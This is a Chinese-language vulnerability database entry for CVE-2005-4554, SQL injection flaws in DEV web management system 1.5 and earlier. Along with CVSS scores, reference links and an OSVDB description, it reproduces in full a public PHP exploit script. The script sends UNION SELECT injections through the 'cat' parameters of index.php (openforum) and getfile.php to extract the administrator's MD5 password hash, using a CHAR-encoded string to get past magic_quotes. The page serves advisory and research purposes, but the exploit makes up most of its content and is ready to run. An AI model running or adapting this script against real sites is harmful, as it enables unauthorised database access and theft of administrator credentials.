CVE-2005-4554
CVSS7.5
发布时间 :2005-12-28 06:03:00
修订时间 :2008-09-05 16:57:10
NMCOE    

[原文]Multiple SQL injection vulnerabilities in DEV web management system 1.5 and earlier allow remote attackers to execute arbitrary SQL commands via the (1) cat parameter in an openforum action (openforum.php) in index.php, (2) cat parameter in getfile.php, and (3) target parameter in download_now.php.


[CNNVD]Dev Web Management System多个SQL注入漏洞(CNNVD-200512-594)

        DEV web management system 1.5及更早版本存在多个SQL注入漏洞,远程攻击者可以通过(1)index.php中的openforum操作(openforum.php)的cat参数,(2)getfile.php的cat参数和(3)download_now.php中的target参数来执行任意SQL命令。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4554
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2005-4554
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200512-594
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/16063
(UNKNOWN)  BID  16063
http://www.securityfocus.com/archive/1/archive/1/420253/100/0/threaded
(UNKNOWN)  BUGTRAQ  20051224 Dev web management system <= 1.5 SQL injection / cross site scripting
http://securitytracker.com/id?1015410
(UNKNOWN)  SECTRACK  1015410
http://secunia.com/advisories/18239
(VENDOR_ADVISORY)  SECUNIA  18239
http://rgod.altervista.org/dev_15_sql_xpl.html
(UNKNOWN)  MISC  http://rgod.altervista.org/dev_15_sql_xpl.html
http://xforce.iss.net/xforce/xfdb/23898
(UNKNOWN)  XF  dev-openforum-sql-injection(23898)
http://www.osvdb.org/22042
(UNKNOWN)  OSVDB  22042
http://www.osvdb.org/22041
(UNKNOWN)  OSVDB  22041
http://www.osvdb.org/22040
(UNKNOWN)  OSVDB  22040

- 漏洞信息

Dev Web Management System多个SQL注入漏洞
高危 SQL注入
2005-12-28 00:00:00 2005-12-28 00:00:00
远程  
        DEV web management system 1.5及更早版本存在多个SQL注入漏洞,远程攻击者可以通过(1)index.php中的openforum操作(openforum.php)的cat参数,(2)getfile.php的cat参数和(3)download_now.php中的target参数来执行任意SQL命令。

- 公告与补丁

        

- 漏洞信息 (1387)

Dev Web Management System <= 1.5 (cat) Remote SQL Injection Exploit (EDBID:1387)
php webapps
2005-12-24 Verified
0 rgod
N/A [点击下载]
<?php
#  ---Dev_15_sql_xpl.php                                     9.54 24/12/2005   #
#                                                                              #
#     Dev <=1.5 'cat' SQL injection / admin MD5 password hash disclosure       #
#                              coded by rgod                                   #
#                    site: http://rgod.altervista.org                          #
#                                                                              #
#  -> this works regardless of magic_quotes_gpc setting                        #
#  usage: launch from Apache, fill in requested fields, then go!               #
#                                                                              #
#  Sun-Tzu: "Prohibit the taking of omens, and do away with  superstitious     #
#  doubts. Then, until death itself comes, no calamity need be feared."        #

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 5);
ob_implicit_flush (1);

echo'<html><head><title>********* Dev <=1.5 \'cat\' SQL injection **************
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111;   SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color:  #1CB081; }  img
{background-color:   #FFFFFF   !important}  input  {background-color:    #303030
!important} option {  background-color:   #303030   !important}         textarea
{background-color: #303030 !important} input {color: #1CB081 !important}  option
{color: #1CB081 !important} textarea {color: #1CB081 !important}        checkbox
{background-color: #303030 !important} select {font-weight: normal;       color:
#1CB081;  background-color:  #303030;}  body  {font-size:  8pt       !important;
background-color:   #111111;   body * {font-size: 8pt !important} h1 {font-size:
0.8em !important}   h2   {font-size:   0.8em    !important} h3 {font-size: 0.8em
!important} h4,h5,h6    {font-size: 0.8em !important}  h1 font {font-size: 0.8em
!important} 	h2 font {font-size: 0.8em !important}h3   font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica,  sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
********* Dev <=1.5 \'cat\'  SQL injection **************</p><p class="Stile6">a
script  by  rgod  at        <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%">  <form
name="form1" method="post"  action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text"  name="host"> <span class="Stile5">* hostname  (ex:www.sitename.com)
</span></p> <p><input type="text" name="path">  <span class="Stile5">* path (ex:
/dev/  or  just  / ) </span> </p> <p> <input type="text" name="prefix">    <span
class="Stile5">Specify a table prefix (default: no table prefix) </span> </p><p>
<input type="text" name="port"><span class="Stile5">specify a port other than 80
default  value )</span> </p> <p> <input  type="text"  name="proxy">        <span
class="Stile5">send  exploit through an  HTTP proxy (ip:port)  </span> </p>  <p>
<input type="submit" name="Submit" value="go!"></p></form> </td>   </tr></table>
</body></html>';

function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>&nbsp;&nbsp;</td>";
             for ($li=0; $li<=15; $li++)
                      { echo "<td>".$headeri[$li+$ki]."</td>";
			    }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>&nbsp&nbsp</td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo "<td>".$headeri[$li]."</td>";
			    }
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
		              //next function to send packets
{
  global $proxy, $host, $port, $packet, $html, $proxy_regex;
  $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  if ($socket < 0) {
                   echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
                   }
	      else
 		  {   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
                    echo "OK.<br>";
                    echo "Attempting to connect to ".$host." on port ".$port."...<br>";
                    if ($proxy=='')
		   {
		     $result = socket_connect($socket, $host, $port);
		   }
		   else
		   {

		   $parts =explode(':',$proxy);
                   echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
		   $result = socket_connect($socket, $parts[0],$parts[1]);
		   }
		   if ($result < 0) {
                                     echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
                                    }
	                       else
		                    {
                                     echo "OK.<br><br>";
                                     $html= '';
                                     socket_write($socket, $packet, strlen($packet));
                                     echo "Reading response:<br>";
                                     while ($out= socket_read($socket, 2048)) {$html.=$out;}
                                     echo nl2br(htmlentities($html));
                                     echo "Closing socket...";
                                     socket_close($socket);

				    }
                  }
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
      {$ock=fsockopen(gethostbyname($host),$port);
       if (!$ock) { echo 'No response from '.htmlentities($host);
			die; }
      }
             else
           {
	   $c = preg_match($proxy_regex,$proxy);
              if (!$c) {echo 'Not a valid prozy...';
                        die;
                       }
	   $parts=explode(':',$proxy);
	    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
	    $ock=fsockopen($parts[0],$parts[1]);
	    if (!$ock) { echo 'No response from proxy...';
			die;
		       }
	   }
fputs($ock,$packet);
if ($proxy=='')
  {

    $html='';
    while (!feof($ock))
      {
        $html.=fgets($ock);
      }
  }
else
  {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
    {
      $html.=fread($ock,1);
    }
  }
fclose($ock);
echo nl2br(htmlentities($html));
}

function is_hash($hash)
{
 if (ereg("^[a-z0-9]{32}",trim($hash))) {return true;}
 else {return false;}
}

$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$prefix=$_POST[prefix];
$proxy=$_POST[proxy];

if (($host<>'') and ($path<>''))
{
  $port=intval(trim($port));
  if ($port=='') {$port=80;}
  if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
  if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
  $host=str_replace("\r\n","",$host);
  $path=str_replace("\r\n","",$path);

  #STEP 1 -> vulnerability in openforum.php (array of chars is 'admin_password' string encoded'
  #to bypass magic quotes
  $SQL="-1 UNION SELECT value,value,value from ".$prefix."variables1 where name=CHAR(97,100";
  $SQL.=",109,105,110,95,112,97,115,115,119,111,114,100)";
  $SQL=urlencode($SQL);
  $packet="GET ".$p."index.php?session=0&action=openforum&cat=".$SQL." HTTP/1.1\r\n";
  $packet.="User-Agent: Aplix_SANYO_browser/1.x (Japanese)\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  $temp=explode('>Board theme: "',$html);
  $temp2=explode('"',$temp[1]);
  $HASH=$temp2[0];
  if (is_hash($HASH))
   {echo "HASH ->".htmlentities($HASH)."<BR>";die("Exploit Succeeded...");}
  else
   {echo "Step 1 failed... trying step 2...<br>";}

  #STEP 2 -> if STEP 1 failed, vulnerability in getfile.php... this works with magic_quotes off
  $SQL="'UNION SELECT value,value FROM ".$prefix."variables1 WHERE name='admin_password'/*";
  $SQL=urlencode($SQL);
  $packet="GET ".$p."getfile.php?cat=".$SQL." HTTP/1.1\r\n";
  $packet.="User-Agent: Python-urllib/2.0a1, maybe ;)\r\n";
  $packet.="Accept: text/plain\r\n";
  $packet.="Host: ".$host."\r\n";
  $packet.="Connection: Close\r\n\r\n";
  show($packet);
  sendpacketii($packet);
  $temp=explode('Content-Type: ',$html);
  $temp2=explode(chr(0x0d),$temp[1]);
  $HASH=$temp2[0];
  if (is_hash($HASH))
   {echo "HASH ->".htmlentities($HASH)."<BR>Exploit Succeeded...";}
  else
   {echo "Exploit failed...";}
}
?>

# milw0rm.com [2005-12-24]
		

- 漏洞信息

22040
DEV web management system openforum.php cat Parameter SQL Injection
Remote / Network Access Information Disclosure, Input Manipulation
Loss of Confidentiality, Loss of Integrity
Exploit Public

- 漏洞描述

DEV web management system contains a flaw that may allow an attacker to carry out an SQL injection attack. The issue is due to the openforum.php script not properly sanitizing user-supplied input to the 'cat' variable. This may allow an attacker to inject or manipulate SQL queries in the back-end database.

- 时间线

2005-12-24 Unknow
2005-12-24 Unknow

- 解决方案

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站